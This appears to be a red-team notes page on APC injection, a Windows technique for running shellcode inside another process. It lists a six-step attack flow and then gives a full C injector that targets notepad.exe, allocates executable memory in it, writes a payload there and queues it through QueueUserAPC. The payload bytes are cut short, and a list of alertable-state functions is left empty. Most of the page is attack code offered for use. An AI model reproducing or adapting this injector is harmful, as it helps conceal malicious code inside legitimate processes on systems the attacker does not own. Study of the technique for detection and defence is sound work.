Red Team Notes logo Red Team Notes

APC is a good technique for triggering the execution of our shellcode on a target process. It is a mechanism in Windows that allows a developer to queue a function to be executed asynchronously within the context of a target thread.

One important concept related to APCs is the alertable state of a thread. To become alertable, a thread has to call certain Win API functions that are specifically designed to switch a thread into this state. These are:

To schedule an APC in a thread we can use the functions QueueUserAPC or NtQueueApcThread.

Note: Not very stable technique and we need to wait to the trigger itself. Or trigger it with another binary.

The technique attack flow is the following:

  1. OpenProcess(): Open a remote process handle.
  2. OpenThread(): Open a remote thread handle.
  3. VirtualAllocEx: Allocate memory buffer in the remote process to store shellcode.
  4. WriteProcessMemory(): Write shellcode in remote memory buffer
  5. QueueUserAPC(): Execute shellcode in remote proccess by scheduling APC object in the threads APC queue.
  6. Wait till the thread enteres in alertable state which is not guaranteed.

Code

Example of APC Injection:

#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>

int FindThread(int pid){

	THREADENTRY32 thEntry;
	int tid = 0;
	thEntry.dwSize = sizeof(thEntry);
	HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
		
	while (Thread32Next(Snap, &thEntry)) {
		if (thEntry.th32OwnerProcessID == pid) 	{
			tid = thEntry.th32ThreadID;
			break;
		}
	}
	CloseHandle(Snap);
	return tid;
}

int FindProcess(const char * procname){
    int pid = 0;
    HANDLE hSnapshot;
    PROCESSENTRY32 lppe;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(INVALID_HANDLE_VALUE == hSnapshot){
        return -1;
    }
    lppe.dwSize = sizeof(PROCESSENTRY32);
    printf("Num of Processes... dwSize -> %d\n", lppe.dwSize);

    // Snapshot done!
    
    if(!Process32First(hSnapshot, &lppe)){
        CloseHandle(hSnapshot);
        return -1;
    }

    do{
        if(lstrcmpiA(procname, lppe.szExeFile)==0){
            printf("PID -> %d\t%s\n", lppe.th32ProcessID, lppe.szExeFile);
            pid = lppe.th32ProcessID;
            break;
        }
        
    }while(Process32Next(hSnapshot, &lppe));

    CloseHandle(hSnapshot);    
    return pid;
}

int main(int argc, char *argv[]) {
    int pid;
    int tid;
    HANDLE hThread;
    HANDLE hProc;
    void * pRemoteCode;
    char payload[] = {0xfc, 0x48,...};
    
    pid = FindProcess("notepad.exe");
    printf("[+] Notepad Found! pid -> %d \n", pid);
    tid = FindThread(pid);
    printf("[+] Thread Found! tid -> %d \n", tid);

    hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
    getchar();
    hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
    getchar();
    if(hProc != NULL && hThread != NULL){
        pRemoteCode = VirtualAllocEx(hProc, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);
        printf("pRemoteCode -> 0x%p\n", pRemoteCode);
        WriteProcessMemory(hProc, pRemoteCode, payload, sizeof(payload), (SIZE_T *) NULL);
        QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL);
        printf("Thread queued!\n");
        getchar();
    }
    CloseHandle(hProc);
    CloseHandle(hThread);
    return 0;
}